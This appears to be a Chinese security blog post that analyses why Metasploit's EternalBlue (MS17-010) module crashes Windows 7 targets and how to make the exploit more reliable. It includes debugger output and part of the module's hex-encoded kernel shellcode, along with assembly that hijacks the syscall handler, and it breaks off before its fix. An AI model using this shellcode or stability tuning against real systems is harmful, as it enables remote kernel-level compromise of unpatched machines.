永恒之蓝MS17_010漏洞的攻击代码已经被集成到了metasploit框架中,
其中,exploit/windows/smb/ms17_010_eternalblue是一个较常用的攻击模块。该模块可以对
Windows 7 and Server 2008 R2 (x64) All Service Packs 目标系统发起攻击,但是在实际的攻击测试中,我们发现这个攻击模块会有一定的概率导致目标系统重启,Windows会弹出一个提示框。
“
Windows has encountered a critical problem and will restart automatically in one minute
”
经过一分钟之后,windows就会自动重启。从追求漏洞利用稳定性的角度,我们希望漏洞利用能”不谈不卡不闪”,当然最希望的是漏洞利用不要把系统搞崩溃/重启了。
本篇文章我们就给大家介绍怎么去解决这个问题。
下面我们就分析下系统重启的原因以及怎么样优化漏洞利用来避免这个问题
除了上面的弹窗信息外,系统还给了一下的提示信息:
The process wininit.exe has initiated the restart of the computer {HOSTNAME} on behalf of the user for the following reason: No title for this reason could be found
Reason Code: 0x50006
Shutdown Type: restart
Comment: The system process 'C:\Windows\system32\lsass.exe' has terminated unexpectedly with status code 255. The system will now shut down and restart.
在网上查了一些这个错误,发现也没有特别有用的信息。
想到这个漏洞已经被爆出来很长时间了,网上肯定有人也遇到过这个问题。那么应该有人讨论过了。我们先在网络上查找下,找到了下面2个帖子:
https://github.com/rapid7/metasploit-framework/issues/8527
https://github.com/rapid7/metasploit-framework/pull/9601
其中一些回答的摘要如下:
我们可以从中得到一些信息,漏洞利用 和payload会影响到这个重启,并且payload越大,这个问题越容易发生。
那我们验证下是不是堆风水的不稳定导致了这个重启呢?
我们知道17010这个漏洞是堆越界写的漏洞,为了让这个越界写 能够写到特定的堆块,首先要利用堆风水对堆进行布局。大体过程如下:
那我们就需要分析下,是否因为堆风水的不稳定导致了重启。我们在越界写的地方下个条件断点观察下,
bp srv!SrvOs2FeaListToNt+0x55 "!pool rax;!pool rax+0x11000;gc"
*fffffa801b672000 : large page allocation, tag is LSdb, size is 0x11000 bytes
Pooltag LSdb : SMB1 data buffer, Binary : srv.sys
Pool page fffffa801b683000 region is Nonpaged pool
*fffffa801b683000 : large page allocation, tag is LSbf, size is 0x11000 bytes
Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sys
Shutdown occurred at (Wed Jul 17 15:01:35.476 2019 (UTC + 8:00))...unloading all symbol tables.
Waiting to reconnect...
Connected to Windows 7 7601 x64 target at (Wed Jul 17 15:02:06.446 2019 (UTC + 8:00)), ptr64 TRUE
从上面可以看到即便srvnet对象成功位于srv对象后面了,系统还是会发生重启。由此我们排除了重启并不是因为堆风水的问题。
那我们接下来试一下payload是否会影响系统重启。
若我们换一个很小的payload,攻击导致系统重启的概率会不会变低呢?为了解决这个疑问,我们做了个实验,将exploit/windows/smb/ms17_010_eternalblue的payload换成没有任何逻辑的 nop指令。
这里需要说明一下的是ms17_010_eternalblue的payload是分2部分的,我们的msf中set payload是设置第二阶段的payload,除了这个payload之外,在ms17_010_eternalblue.rb中还硬编码了一个引导payload(第一阶段),第一阶段payload部分字节码如下:
def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 1019 bytes
# "\xcc"+
"\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
"\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
"\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" +
"\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +
"\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" +
…
"\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" +
"\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" +
"\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" +
"\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" +
"\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" +
"\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" +
"\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" +
"\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
"\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
"\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"
end
很幸运,我们发现把payload改成nop之后,漏洞利用变得非常稳定。于是我们就确定了payload是导致系统重启的一个关键因素。
那下面我们尝试对payload进行优化来避免导致系统重启。Payload的链接如下:
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
对payload进行分析,payload的主要逻辑如下:
Payload开始执行后,先在内核层面劫持(hook)系统调用,把syscall handler 修改成x64_syscall_handler函数地址,这样当有系统调用发生时,x64_syscall_handler函数就会得以执行。
x64_syscall_overwrite:
mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR
rdmsr
;movabs rbx, 0xffffffffffd00ff8
db 0x48, 0xbb, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff
mov dword [rbx+0x4], edx ; save old syscall handler
mov dword [rbx], eax
lea rax, [rel x64_syscall_handler] ; load new syscall handler
mov rdx, rax
shr rdx, 0x20
wrmsr
ret
x64_syscall_handle 函数代码主要逻辑如下:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)